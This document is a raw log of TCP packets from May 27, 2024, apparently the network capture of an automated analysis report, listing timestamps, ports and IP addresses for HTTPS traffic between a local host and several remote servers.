May 27, 2024 19:30:20.411300898 CEST	443	55922	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.411573887 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.411668062 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.411775112 CEST	55922	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.454535961 CEST	443	55922	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.454582930 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.455271959 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455297947 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455307961 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455377102 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455387115 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.455425024 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455446005 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455481052 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455495119 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455499887 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.455518007 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.455526114 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455549002 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.455557108 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.455601931 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.456078053 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.456140041 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.456211090 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.467006922 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.467031956 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.467047930 CEST	55920	443	192.168.2.16	40.68.123.157
May 27, 2024 19:30:20.467056036 CEST	443	55920	40.68.123.157	192.168.2.16
May 27, 2024 19:30:20.535016060 CEST	443	55922	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.535101891 CEST	443	55922	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.535288095 CEST	55922	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.535679102 CEST	55922	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.535708904 CEST	443	55922	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.535722017 CEST	55922	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.535759926 CEST	55922	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.538511038 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:20.582539082 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:20.664938927 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.665008068 CEST	55924	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.667634010 CEST	55924	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.667682886 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.668055058 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.707293034 CEST	55924	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.750518084 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.934371948 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.934556007 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.934762955 CEST	55924	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.934763908 CEST	55924	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.934856892 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.968985081 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.969041109 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:20.969130039 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.969541073 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:20.969557047 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.249985933 CEST	55924	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.250056028 CEST	443	55924	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.623059034 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623183966 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623271942 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623291016 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.623356104 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623452902 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623518944 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.623542070 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623613119 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.623629093 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623712063 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623768091 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.623780012 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623861074 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.623918056 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.623929977 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.624025106 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.624088049 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.624099016 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.627736092 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.627809048 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.627820969 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.628079891 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.628161907 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.628160954 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.628187895 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.628241062 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.628274918 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.629220009 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.629313946 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.629374981 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.629389048 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.629455090 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.629466057 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.629950047 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.630011082 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.630022049 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.630930901 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.631012917 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.631016970 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.631040096 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.631202936 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.631263971 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.631278992 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.631336927 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.631787062 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.631928921 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.632157087 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.632169008 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.632635117 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.632709980 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.632714987 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.632751942 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.632807970 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.633304119 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.634207010 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.634291887 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.634304047 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.634428024 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.634505033 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.634516001 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.635504007 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.635581970 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.635595083 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.636210918 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.636284113 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.636296034 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.636396885 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.636693001 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.636766911 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.637134075 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.637207031 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.638138056 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.638197899 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.639020920 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.639100075 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.639807940 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.639885902 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.640347004 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.640403032 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.640650034 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.640713930 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.644666910 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.644763947 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.646509886 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.646539927 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.647392988 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.652441025 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.660088062 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660149097 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660165071 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.660187006 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660206079 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660207987 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.660252094 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660257101 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.660264015 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660305977 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.660404921 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660470963 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.660512924 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660561085 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.660604000 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.660651922 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.661222935 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.661277056 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.661292076 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.661336899 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.661345005 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.661387920 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.661437035 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.661478043 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.662225008 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.662276030 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.662283897 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.662290096 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.662316084 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.662333012 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.662369013 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.662379980 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.662384987 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.662427902 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.663091898 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.663144112 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.663146973 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.663157940 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.663193941 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.663223982 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.663260937 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.663275003 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.663280010 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.663306952 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.664031982 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.664086103 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.664091110 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.664144039 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.694538116 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.714308023 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.714396954 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.714694977 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.714771032 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.714790106 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.714849949 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751298904 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751408100 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751481056 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751481056 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751492977 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751519918 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751549006 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751586914 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751602888 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751657963 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751698017 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751760960 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751791000 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751852989 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751888037 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.751952887 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.751979113 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.752047062 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.752202988 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.752271891 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.752810001 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.752865076 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.752903938 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.752935886 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.752968073 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.753341913 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.753391027 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.753427982 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.753441095 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.753482103 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.753632069 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.753671885 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.753699064 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.753712893 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.753756046 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.754255056 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.754321098 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.754358053 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.754369020 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.754395962 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.800705910 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.800749063 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.800806046 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.800837040 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.800858974 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.834234953 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.834285975 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.834321976 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.834352970 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.834369898 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.834731102 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.834772110 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.834800959 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.834809065 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.834840059 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.835269928 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835316896 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835334063 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.835341930 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835377932 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.835499048 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835536957 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835553885 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.835561991 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835597992 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.835859060 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835897923 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835928917 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.835936069 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.835951090 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.836070061 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.836116076 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.836122990 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.836148977 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.836178064 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.836455107 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.836493015 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.836527109 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.836535931 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.836555958 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.887571096 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.887969017 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.887984037 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.888062954 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.888073921 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.888119936 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.888155937 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.888178110 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.922698021 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.922729015 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.922827959 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.922871113 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.922936916 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.922961950 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.923010111 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.923031092 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.923065901 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.923410892 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.923496008 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.923607111 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.924063921 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924086094 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924196959 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.924204111 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.924213886 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924267054 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924290895 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924340010 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.924352884 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924381018 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.924420118 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.924779892 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924799919 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.924881935 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.924895048 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925146103 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925170898 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925218105 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.925230026 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925257921 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.925293922 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.925664902 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925678968 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.925684929 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925766945 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.925784111 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.925806046 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.925841093 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.927426100 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.927473068 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.927503109 CEST	55926	443	192.168.2.16	184.28.90.27
May 27, 2024 19:30:21.927520037 CEST	443	55926	184.28.90.27	192.168.2.16
May 27, 2024 19:30:21.967021942 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:21.974941969 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.974972963 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.975043058 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:21.975059986 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:21.975111961 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.008775949 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.008800030 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.008862019 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.008877039 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.008925915 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.008945942 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.008960962 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.008966923 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.008980036 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.009027004 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.009073973 CEST	55923	443	192.168.2.16	104.17.96.13
